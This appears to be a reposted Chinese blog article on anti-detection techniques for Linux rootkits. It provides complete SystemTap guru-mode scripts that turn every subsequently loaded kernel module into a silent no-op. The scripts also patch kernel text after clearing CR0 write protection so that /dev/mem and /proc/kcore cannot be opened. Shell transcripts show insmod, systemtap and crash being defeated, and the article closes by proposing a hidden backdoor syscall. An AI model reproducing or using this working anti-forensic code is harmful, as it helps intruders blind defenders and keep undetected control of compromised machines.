Rootkit在登堂入室并得手后,還要記得把門(mén)鎖上。
如果我們想注入一個(gè)Rootkit到內(nèi)核,同時(shí)不想被偵測(cè)到,那么我們需要做的是精妙的隱藏,并保持低調(diào)靜悄悄,這個(gè)話(huà)題我已經(jīng)談過(guò)了,諸如進(jìn)程摘鏈,TCP鏈接摘鏈潛伏等等,詳情參見(jiàn):https://blog.csdn.net/dog250/article/details/105371830
https://blog.csdn.net/dog250/article/details/105394840
然則天網(wǎng)恢恢,疏而不漏,馬腳總是要露出來(lái)的。如果已經(jīng)被懷疑,如何反制呢?
其實(shí)第一時(shí)間采取反制措施勢(shì)必重要!我們需要的只是占領(lǐng)制高點(diǎn),讓后續(xù)的偵測(cè)手段無(wú)從開(kāi)展。
我們必須知道都有哪些偵測(cè)措施用來(lái)應(yīng)對(duì)Rootkit,常見(jiàn)的,不外乎以下:
systemtap,raw kprobe/jprobe,ftrace等跟蹤機(jī)制。它們通過(guò)內(nèi)核模塊起作用。
自研內(nèi)核模塊,采用指令特征匹配,指令校驗(yàn)機(jī)制排查Rootkit。
gdb/kdb/crash調(diào)試機(jī)制,它們通過(guò)/dev/mem,/proc/kcore起作用。
和殺毒軟件打架一樣,Rootkit和反Rootkit也是互搏的對(duì)象。無(wú)論如何互搏,其戰(zhàn)場(chǎng)均在內(nèi)核態(tài)。
很顯然,我們要做的就是:
第一時(shí)間封堵內(nèi)核模塊的加載。
第一時(shí)間封堵/dev/mem,/proc/kcore的打開(kāi)。
行文至此,我們應(yīng)該已經(jīng)可以說(shuō)出無(wú)數(shù)種方法來(lái)完成上面的事情,對(duì)我個(gè)人而言,我的風(fēng)格肯定又是二進(jìn)制hook,但這次我希望用一種正規(guī)的方式來(lái)搞事情。
什么是正規(guī)的方式,什么又是奇技淫巧呢?
我們知道,Linux內(nèi)核的text段是在編譯時(shí)靜態(tài)確定的,加載時(shí)偶爾有重定向,但依然保持著緊湊的布局,所有的內(nèi)核函數(shù)均在一個(gè)范圍固定的緊湊內(nèi)存空間內(nèi)。
因此凡是往超過(guò)該固定范圍的地方進(jìn)行call/jmp的,基本都是違規(guī),都應(yīng)該嚴(yán)查。換句話(huà)說(shuō),靜態(tài)代碼不能往動(dòng)態(tài)內(nèi)存進(jìn)行直接的call/jmp(畢竟靜態(tài)代碼并不知道動(dòng)態(tài)地址啊),如果靜態(tài)代碼需要?jiǎng)討B(tài)的函數(shù)完成某種任務(wù),那么只能用回調(diào),而回調(diào)函數(shù)在指令層面是要借助寄存器來(lái)尋址的,而不可能用rel32立即數(shù)來(lái)尋址。
如果我們?cè)陟o態(tài)的代碼中hack掉一條call/jmp指令,使得它以新的立即數(shù)作為操作數(shù)call/jmp到我們的動(dòng)態(tài)代碼,那么這就是一個(gè)奇技淫巧,這就是不正規(guī)的方式。
反之,如果我們調(diào)用Linux內(nèi)核現(xiàn)成的接口注冊(cè)一個(gè)回調(diào)函數(shù)來(lái)完成我們的任務(wù),那么這就是一種正規(guī)的方式,本文中我將使用一種基于內(nèi)核通知鏈(notifier chain)的正規(guī)技術(shù),來(lái)封堵內(nèi)核模塊。
下面步入正題。
首先,我們來(lái)看第一點(diǎn)。下面的stap腳本展示了如何做:
#!/usr/bin/stap -g
// dismod.stp
%{
// 我們利用通知鏈機(jī)制。
// 每當(dāng)內(nèi)核模塊進(jìn)行加載時(shí),都會(huì)有消息在通知鏈上通知,我們只需要注冊(cè)一個(gè)handler。
// 我們的handler讓該模塊“假加載”!
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{
int i;
struct module *mod = (struct module *)data;
unsigned char *init, *exit;
unsigned long cr0;
if (action != MODULE_STATE_COMING)
return NOTIFY_OK;
init = (unsigned char *)mod->init;
exit = (unsigned char *)mod->exit;
// 為了避免校準(zhǔn)rel32調(diào)用偏移,直接使用匯編。
asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);
clear_bit(16, &cr0);
asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
// 把模塊的init函數(shù)換成"return 0;"
init[0] = 0x31; // xor %eax, %eax
init[1] = 0xc0; // retq
init[2] = 0xc3; // retq
// 把模塊的exit函數(shù)換成"return;" 防止偵測(cè)模塊在exit函數(shù)中做一些事情。
exit[0] = 0xc3;
set_bit(16, &cr0);
asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
return NOTIFY_OK;
}
struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}
function dismod()
%{
int ret = 0;
// 正規(guī)的方法,我們可以直接從vmalloc區(qū)域直接分配內(nèi)存。
dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));
if (!dismod_module_nb) {
printk("malloc nb failed ");
return;
}
// 必須使用__vmalloc接口分配可執(zhí)行(PAGE_KERNEL_EXEC)內(nèi)存。
_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);
if (!_dismod_module_notify) {
printk("malloc stub failed ");
return;
}
memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);
dismod_module_nb->notifier_call = _dismod_module_notify;
dismod_module_nb->priority = 1;
ret = register_module_notifier(dismod_module_nb);
if (ret) {
printk("notifier register failed ");
return;
}
%}
probe begin
{
dismod();
exit();
}
現(xiàn)在,讓我們運(yùn)行上述腳本:
[root@localhost test]# ./dismod.stp
[root@localhost test]#
我們的預(yù)期是,此后所有的模塊將會(huì)“假裝”成功加載進(jìn)內(nèi)核,但實(shí)際上并不起任何作用,因?yàn)槟K的_init函數(shù)被短路繞過(guò),不再執(zhí)行。
來(lái)吧,我們寫(xiě)一個(gè)簡(jiǎn)單的內(nèi)核模塊,看看效果:
// testmod.c
#include
noinline int test_module_function(int i)
{
printk("%d ", i);
// 我們的測(cè)試模塊非常狠,一加載就讓內(nèi)核panic。
panic("shabi");
}
static int __init testmod_init(void)
{
printk("init ");
test_module_function(1234);
return 0;
}
static void __exit testmod_exit(void)
{
printk("exit ");
}
module_init(testmod_init);
module_exit(testmod_exit);
MODULE_LICENSE("GPL");
如果我們?cè)跊](méi)有執(zhí)行dismod.stp的情況下加載上述模塊,顯而易見(jiàn),內(nèi)核會(huì)panic,萬(wàn)劫不復(fù)。但實(shí)際上呢?
編譯,加載之:
[root@localhost test]# insmod ./testmod.ko
[root@localhost test]# lsmod |grep testmod
testmod 12472 0
[root@localhost test]# cat /proc/kallsyms |grep testmod
ffffffffa010b027 t testmod_exit [testmod]
ffffffffa010d000 d __this_module [testmod]
ffffffffa010b000 t test_module_function [testmod]
ffffffffa010b027 t cleanup_module [testmod]
[root@localhost test]# rmmod testmod
[root@localhost test]#
[root@localhost test]# echo $?
0
內(nèi)核什么也沒(méi)有打印,也并沒(méi)有panic,相反,模塊成功載入,并且其所有的符號(hào)均已經(jīng)注冊(cè)成功,并且還能成功卸載。這意味著,模塊機(jī)制失效了!
我們?cè)囋囘€能使用systemtap么?
[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork "); }'
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.
WARNING: /usr/bin/staprun exited with status: 1
Pass 5: run failed. [man error::pass5]
看來(lái)不行了。
假設(shè)該機(jī)制用于Rootkit的反偵測(cè),如果想用stap跟蹤內(nèi)核,進(jìn)而查出異常點(diǎn),這一招已經(jīng)失效。
接下來(lái),讓我們封堵/dev/mem,/proc/kcore,而這個(gè)簡(jiǎn)直太容易了:
#!/usr/bin/stap -g
// diskcore.stp
function kcore_poke()
%{
unsigned char *_open_kcore, *_open_devmem;
unsigned char ret_1[6];
unsigned long cr0;
_open_kcore = (void *)kallsyms_lookup_name("open_kcore");
if (!_open_kcore)
return;
_open_devmem = (void *)kallsyms_lookup_name("open_port");
if (!_open_devmem)
return;
// 下面的指令表示 return -1;即返回錯(cuò)誤!也就意味著“文件不可打開(kāi)”。
ret_1[0] = 0xb8; // mov $-1, %eax;
ret_1[1] = 0xff;
ret_1[2] = 0xff;
ret_1[3] = 0xff;
ret_1[4] = 0xff;
ret_1[5] = 0xc3; // retq
// 這次我們俗套一把,不用text poke,借用更簡(jiǎn)單的CR0來(lái)完成text的寫(xiě)。
cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
// text內(nèi)存已經(jīng)可寫(xiě),直接用memcpy來(lái)吧。
memcpy(_open_kcore, ret_1, sizeof(ret_1));
memcpy(_open_devmem, ret_1, sizeof(ret_1));
set_bit(16, &cr0);
write_cr0(cr0);
%}
probe begin
{
kcore_poke();
exit();
}
來(lái)吧,我們?cè)囈幌耤rash命令:
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem
...
This program has absolutely no warranty. Enter "help warranty" for details.
crash: /dev/mem: Operation not permitted
Usage:
crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS] (dumpfile form)
crash [OPTION]... [NAMELIST] (live system form)
Enter "crash -h" for details.
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore
...
crash: /proc/kcore: Operation not permitted
...
哈哈,完全無(wú)法調(diào)試live kernel了!試問(wèn)如何抓住Rootkit現(xiàn)場(chǎng)?
注意,上面的兩個(gè)機(jī)制,必須讓禁用/dev/mem,/proc/kcore先于封堵模塊執(zhí)行,不然就會(huì)犯形而上學(xué)的錯(cuò)誤,自己打自己。上述方案僅做演示,正確的做法應(yīng)該是將它們合在一起:
#!/usr/bin/stap -g
// anti-sense.stp
%{
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{
int i;
struct module *mod = (struct module *)data;
unsigned char *init, *exit;
unsigned long cr0;
if (action != MODULE_STATE_COMING)
return NOTIFY_OK;
init = (unsigned char *)mod->init;
exit = (unsigned char *)mod->exit;
// 為了避免校準(zhǔn)rel32調(diào)用偏移,直接使用匯編。
asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);
clear_bit(16, &cr0);
asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
// 把模塊的init函數(shù)換成"return 0;"
init[0] = 0x31; // xor %eax, %eax
init[1] = 0xc0; // retq
init[2] = 0xc3; // retq
// 把模塊的exit函數(shù)換成"return;"
exit[0] = 0xc3;
set_bit(16, &cr0);
asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
return NOTIFY_OK;
}
struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}
function diskcore()
%{
unsigned char *_open_kcore, *_open_devmem;
unsigned char ret_1[6];
unsigned long cr0;
_open_kcore = (void *)kallsyms_lookup_name("open_kcore");
if (!_open_kcore)
return;
_open_devmem = (void *)kallsyms_lookup_name("open_port");
if (!_open_devmem)
return;
// 下面的指令表示 return -1;
ret_1[0] = 0xb8; // mov $-1, %eax;
ret_1[1] = 0xff;
ret_1[2] = 0xff;
ret_1[3] = 0xff;
ret_1[4] = 0xff;
ret_1[5] = 0xc3; // retq
// 這次我們俗套一把,不用text poke,借用更簡(jiǎn)單的CR0來(lái)完成text的寫(xiě)。
cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
memcpy(_open_kcore, ret_1, sizeof(ret_1));
memcpy(_open_devmem, ret_1, sizeof(ret_1));
set_bit(16, &cr0);
write_cr0(cr0);
%}
function dismod()
%{
int ret = 0;
// 正規(guī)的方法,我們可以直接從vmalloc區(qū)域直接分配內(nèi)存。
dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));
if (!dismod_module_nb) {
printk("malloc nb failed ");
return;
}
// 必須使用__vmalloc接口分配可執(zhí)行(PAGE_KERNEL_EXEC)內(nèi)存。
_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);
if (!_dismod_module_notify) {
printk("malloc stub failed ");
return;
}
memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);
dismod_module_nb->notifier_call = _dismod_module_notify;
dismod_module_nb->priority = 1;
printk("notify addr:%p ", _dismod_module_notify);
ret = register_module_notifier(dismod_module_nb);
if (ret) {
printk("notify register failed ");
return;
}
%}
probe begin
{
dismod();
diskcore();
exit();
}
從此以后,若想逮到之前的那些Rootkit,你無(wú)法加載內(nèi)核模塊,無(wú)法crash調(diào)試,無(wú)法自己編程mmap /dev/mem,重啟吧!重啟之后呢?一切歸于塵土。
然而,我們自己怎么辦?這將把我們自己的退路也同時(shí)封死,只要使用電壓凍結(jié)住內(nèi)存快照,離線(xiàn)分析,真相必將大白!我們必須給自己留個(gè)退路,以便搗毀并恢復(fù)現(xiàn)場(chǎng)后,全身而退,怎么做到呢?
很容易,還記得在文章“Linux動(dòng)態(tài)為內(nèi)核添加新的系統(tǒng)調(diào)用”中的方法嗎?我們封堵了前門(mén)的同時(shí),以新增系統(tǒng)調(diào)用的方式留下后門(mén),豈不是很正常的想法?
是的。經(jīng)理也是這樣想的。
-
TCP
+關(guān)注
關(guān)注
8文章
1378瀏覽量
79311 -
rootkit
+關(guān)注
關(guān)注
0文章
8瀏覽量
2720
原文標(biāo)題:Linux Rootkit如何避開(kāi)內(nèi)核檢測(cè)的
文章出處:【微信號(hào):LinuxDev,微信公眾號(hào):Linux閱碼場(chǎng)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論